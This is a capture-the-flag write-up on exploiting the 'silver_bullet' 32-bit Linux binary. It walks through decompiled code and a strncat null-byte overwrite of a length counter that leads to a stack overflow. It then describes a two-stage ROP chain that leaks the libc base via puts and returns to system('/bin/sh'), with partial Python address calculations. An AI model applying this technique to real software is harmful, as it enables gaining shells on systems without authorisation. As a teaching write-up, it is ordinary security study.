↪ file silver_bullet silver_bullet: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8c95d92edf8bf47b6c9c450e882b7142bf656a92, not stripped
checksec
1 2 3
↪ checksec --file=silver_bullet RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 85 Symbols No 0 4 silver_bullet
./silver_bullet
1 2 3 4 5 6 7 8 9 10
↪ ./silver_bullet +++++++++++++++++++++++++++ Silver Bullet +++++++++++++++++++++++++++ 1. Create a Silver Bullet 2. Power up Silver Bullet 3. Beat the Werewolf 4. Return +++++++++++++++++++++++++++ Your choice :
int __cdecl main(int argc, constchar **argv, constchar **envp) { int v3; // eax int v5[2]; // [esp+0h] [ebp-3Ch] BYREF char v6[48]; // [esp+8h] [ebp-34h] BYREF int v7; // [esp+38h] [ebp-4h]
init_proc(); v7 = 0; memset(v6, 0, sizeof(v6)); v5[0] = 0x7FFFFFFF; v5[1] = (int)"Gin"; while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); v3 = read_int(); if ( v3 != 2 ) break; power_up((int)v6); } if ( v3 > 2 ) break; if ( v3 != 1 ) goto LABEL_15; create_bullet((int)v6); } if ( v3 == 3 ) break; if ( v3 == 4 ) { puts("Don't give up !"); exit(0); } LABEL_15: puts("Invalid choice"); } if ( beat((int)v6, (int)v5) ) return0; puts("Give me more power !!"); } }
create_bullet
1 2 3 4 5 6 7 8 9 10 11 12 13
int __cdecl create_bullet(int a1) { int v2; // [esp+0h] [ebp-4h]
if ( *(_BYTE *)a1 ) returnputs("You have been created the Bullet !"); printf("Give me your description of bullet :"); read_input(a1, 48); v2 = strlen(a1); printf("Your power is : %u\n", v2); *(_DWORD *)(a1 + 48) = v2; returnputs("Good luck !!"); }
power_up
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
int __cdecl power_up(int a1) { char v2[48]; // [esp+0h] [ebp-34h] BYREF int v3; // [esp+30h] [ebp-4h]
v3 = 0; memset(v2, 0, sizeof(v2)); if ( !*(_BYTE *)a1 ) returnputs("You need create the bullet first !"); if ( *(_DWORD *)(a1 + 48) > 0x2Fu ) returnputs("You can't power up any more !"); printf("Give me your another description of bullet :"); read_input((int)v2, 48 - *(_DWORD *)(a1 + 48)); strncat(a1, (int)v2, 48 - *(_DWORD *)(a1 + 48)); v3 = strlen((int)v2) + *(_DWORD *)(a1 + 48); printf("Your new power is : %u\n", v3); *(_DWORD *)(a1 + 48) = v3; returnputs("Enjoy it !"); }
int __cdecl beat(int a1, int a2) { if ( *(_BYTE *)a1 ) { puts(">----------- Werewolf -----------<"); printf(" + NAME : %s\n", *(constchar **)(a2 + 4)); printf(" + HP : %d\n", *(_DWORD *)a2); puts(">--------------------------------<"); puts("Try to beat it ....."); usleep(1000000); *(_DWORD *)a2 -= *(_DWORD *)(a1 + 48); if ( *(int *)a2 <= 0 ) { puts("Oh ! You win !!"); return1; } else { puts("Sorry ... It still alive !!"); return0; } } else { puts("You need create the bullet first !"); return0; } }
0x3. Analysis
In this challenge, they give you 4 options, creating a bullet allows you to input a string (maximum size is 48 bytes) and save the number of characters to v7 (in main function), which is v6 + 48. With power_up function, we can append a new string to v6 if the current size of v6 isn’t 48. Then, the beat function just check whether v7 is greater than 0x7fffffff or not ?
Append characters from string Appends the first num characters of source to destination, plus a terminating null-character.
Damn, after append a new string to v6, strncat() add a null-character (\x00) right after. Because v7 is an int variable, that means the size of v6 would be stored at the byte right after v6. As a result, If you create a bullet of any size (as long as the size < 48) and use power_up function to fullfill the char array, you can overwrite 0 to the size of v6. This could help you continue to append a new string after v6 with the size of 48, leading to return address overwriten !!!
Because the first byte right after v6 stores the size (it’s 1 now), you just need to overwrite /xff/xff/xff to the rest bytes of v7 and your current power is 0xffffff01, enough to kick the monster’s ass.
With the return address, just overwrite like this:
1 2 3 4
return address -> puts_plt address +0x4 -> The address of "pop ebx; ret;" (use ropgadget to get) +0x8 -> The address of stdin in data section +0xc -> Tha address of main function
This enables you to call puts function. Putting the address of “pop ebx; ret;” right after as return address helps you pass argument and call one more conventions also. And now, you can get the address of IO_2_1_stdin in libc, calculate the libc base, then run the main function again.
Now, you get the lib base, you can get every address you want. Just do everything above again, but now overwrite like this:
1 2 3
return adderss -> system address that you calculated +0x4 -> whatever you want as return adderss for the function above +0x8 -> The address of /bin/sh you found in libc
libc_base = temp - libc.symbols['_IO_2_1_stdin_'] system_func = libc_base + libc.symbols['system'] bin_sh = libc_base + next (libc.search (b'/bin/sh')) print ("The address of stdin in libc is : ", hex (temp)) print ("The address of libc is : ", hex (libc_base)) print ("The address of function in libc is : ", hex (system_func)) print ("The address stores /bin/sh in libc is :", hex (bin_sh))